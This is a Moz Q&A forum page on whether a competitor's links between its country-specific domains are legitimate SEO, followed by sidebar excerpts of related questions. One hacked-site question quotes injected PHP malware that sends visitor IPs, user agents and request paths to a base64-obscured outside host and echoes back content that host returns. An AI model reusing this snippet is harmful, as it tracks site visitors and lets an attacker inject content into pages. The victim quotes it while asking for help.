Competitor is interlinking between his websites
-
I have a competitor who ranks in the first page for all his keywords and i found out in open site explorer that he has been interlinking between websites and it is obvious because he owns the same domain but different countries. for example,
www.example.id (indonesia)
www.example.my (malaysia)
www.example.sg (singapore)
(asian countries domain)
my question here is this even consider "white hat"?
I read one of the blog post from moz and here is the quote
"#7 - Uniqueness of Source + Target
The engines have a number of ways to judge and predict ownership and relationships between websites. These can include (but are certainly not limited to):
A large number of shared, reciprocated links
Domain registration data
Shared hosting IP address or IP address C-blocks
Public acquisition/relationship information
Publicized marketing agreements that can be machine-read and interpretedIf the engines determine that a pre-existing relationship of some kind could inhibit the "editorial" quality of a link passing between two sites, they may choose to discount or even ignore these. Anecdotal evidence that links shared between "networks" of websites pass little value (particularly the classic SEO strategy of "sitewide" links) is one point many in the organic search field point to on this topic."
will interlinking between your sites will be ignored by google in the future? is this a time bomb method or it is fine doing so? Because as far as concern my competitor is actually ranking on the first page for quite some time.
-
Hi there,
The answer here is always very subjective. It is perfectly natural for businesses to link their sites together. Why would you not do that? Google understands this; the relationship between businesses owned by the same entity can and should be partially represented by links. Moz links to Open Site Explorer's website. Amazon.co.uk can link to Amazon.fr. If I link my blog to a website promoting consulting services, this is natural and fine.
What Google and other search engines want to figure out and discount is if you create a huge network of websites, attempt to obscure the fact that they are all owned by you, and link them together in some pattern that attempts to increase the SEO value or all or some of them. That's manipulative and you can't expect such a tactic to work in the long term. Effectively hiding a network like this is usually costly and time-consuming and barely worth the effort in the end (although some folks still do it very well).
Google likely doesn't pass the highest amount of authority between links where the linking sites are clearly owned by the same person or company, but there is nothing "wrong" with interlinking the sites you own.
Your competitor is likely ranking well due to a number of factors, not just because their websites are linked together.
-
so how is this different from a person who own 10 blogs and interlink between the blogs? i know that way is wrong and how is that different from this? just because the person own the same domain name?
-
I think, this links are neccesary. Do not forget the main reason: You need to tell your users you have this page. And they doesn't know it if you doesn't have a link.
Different one it's if google ignores the link, but i do not think who they can be a timed bomb. As i've told, these links are neccesary.
For example, if you have your page in two languages on two domains, you have the link to the another lang in the another domain. That's black hat seo? I do not think so.
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Competitor Inbound Links Increase from 175K to 1 million in 1 month, how?
Hi all, I was recently doing some competitive analysis on external links/DA and came across something peculiar. A competitor of ours had their external links go from 175,179 in August to 1,141,365 in September. I've attached a screenshot showing the increase. The competitors domain authority also increased from 82 to 89 in the same time span. Has anyone else come across such a large link increase in such a short period of time, while also being rewarded for it? Obviously at first glance it seemed extremely black hat and unnatural, but I would love to be proven wrong. Thanks! Cw5tN
White Hat / Black Hat SEO | | mstpeter0 -
How to save website from Negative SEO?
Hi, I have read couple of good blog post on Negative SEO and come to know about few solution which may help me to save my website during Negative SEO. Here, I want to share my experience and live data regarding Negative SEO. Someone is creating bad inbound links to my website. I come to know about it via Google webmaster tools. Honestly, I have implemented certain solutions like Google disavow tool, contact to certain websites and many more. But, I can see negative impact on organic visits. Organic visits are going down since last two months. And, I am thinking, These bad inbound links are biggest reasons behind it. You can visit following URLs to know more about it. Can anyone share your experience to save website from negative SEO? How can I save any website from Negative SEO (~Bad Inbound Links) https://docs.google.com/file/d/0BxyEDFdgDN-iR0xMd2FHeVlzYVU/edit https://drive.google.com/file/d/0BxyEDFdgDN-iMEtneXU1YmhWX2s/edit?usp=sharing https://drive.google.com/file/d/0BxyEDFdgDN-iSzNXdEJRdVJJVGM/edit?usp=sharing
White Hat / Black Hat SEO | | CommercePundit0 -
Do I need to use meta noindex for my new website before migration?
I just want to know your thoughts if it is necessary to add meta noindex nofollow tag in each page of my new website before migrating the old pages to new pages under a new domain? Would it be better if I'll just add a blockage in my robots.txt then remove it once we launch the new website? Thanks!
White Hat / Black Hat SEO | | esiow20130 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
If Google Authorship is used for every page of your website, will it be penalized?
Hey all, I've noticed a lot of companies will implement Google Authorship on all pages of their website, ie landing pages, home pages, sub pages. I'm wondering if this will be penalized as it isn't a typical authored piece of content, like blogs, articles, press releases etc. I'm curious as I'm going to setup Google Authorship and I don't want it to be setup incorrectly for the future. Is it okay to tie each page (home page, sub pages) and not just actual authored content (blogs, articles, press releases) or will it get penalized if that occurs? Thanks and much appreciated!
White Hat / Black Hat SEO | | MonsterWeb280 -
Website Hacked now it's not Ranking
One of my domains was hacked right before I took over managing it. The hacker created around 100 links for simply grotesque things. After I took over I erased the entire site, rebuilt from scratch, new server (inmotion), rewrote every page, robots.txt every offending page, and even 301 just in case 404s were hurting me. I am now almost a month in and I have seen zero movement on anything rankings based. This is not a bad domain it was registered in 2008 and has a few decent citations because of the Doc's medical license. They registered for BBB in November and have a 30 year old listing citation from them based on business establishment. I must be going crazy but it's not ranking for anything except the homepage. I didn't know Google could hold a grudge for so long. The only ranking I can sometimes achieve is through Google Places which still has to compete with tough domains. I've already put in a reconsideration request and received a response stating the following: We reviewed your site and found no manual actions by the webspam team that might affect your site's ranking in Google. There's no need to file a reconsideration request for your site, because any ranking issues you may be experiencing are not related to a manual action taken by the webspam team. Just check it for yourself I know it's a work in progress but I'm not even considered relevant on page 50! And the crap links are still indexed!! A search for a keyword I'm aiming for with my client's name followed after gives me no results. I am currently using wordpress, yoast xml, and single keyword focusses. My market is tough but no way I can not rank for the keyword and my name.
White Hat / Black Hat SEO | | allenrocks0 -
Competitors Developing Spammy Link For My Website
Well Guys there are lot of discussions in almost all the communities, blogs, forums about Post Penguin impact. Google says that if find that you're involved in any link building activities, we may penalize you. People out there have already started their developed links. But what if our competitors would have developed those links. Initially it was okay to develop one way links, I even developed lot of quality, but deliberately, links. around 95% links are placed manually, if return to some favor or money but all links looks natural. Most of the links I developed through content only, like articles, blog comments, PR submission, etc now really skeptical about the quality (after hearing lot of talks and reading n number of posts). Now, can I also submit my competitor's websites in 1000 topic directory (obviously not in any spammy directory), would it effect that website adversely? What if I spun an existing content and submit it into 500 article directories and give backlink to competitor site from using only one anchor text (which is obviously the main keywords - highest sales generating keyword) I look forward to some experts comments.
White Hat / Black Hat SEO | | Khem_Raj70 -
How does Google rank a websites search queries
Hello, I can't seem to find an answer anywhere. I was wondering how a websites search query keyword string url can rank above other page results that have stronger backlinks. The domain is usually strong, but that url with the .php?search=keyword just seems like it doesn't fit in. How does Google index those search string pages? Is it based off of traffic alone to that url? Because those urls typically don't have backlinks, right? Has anyone tried to rank their websites search query urls ever? I'm just a little curious about it. Thanks everyone. Jesse
White Hat / Black Hat SEO | | getrightmusic0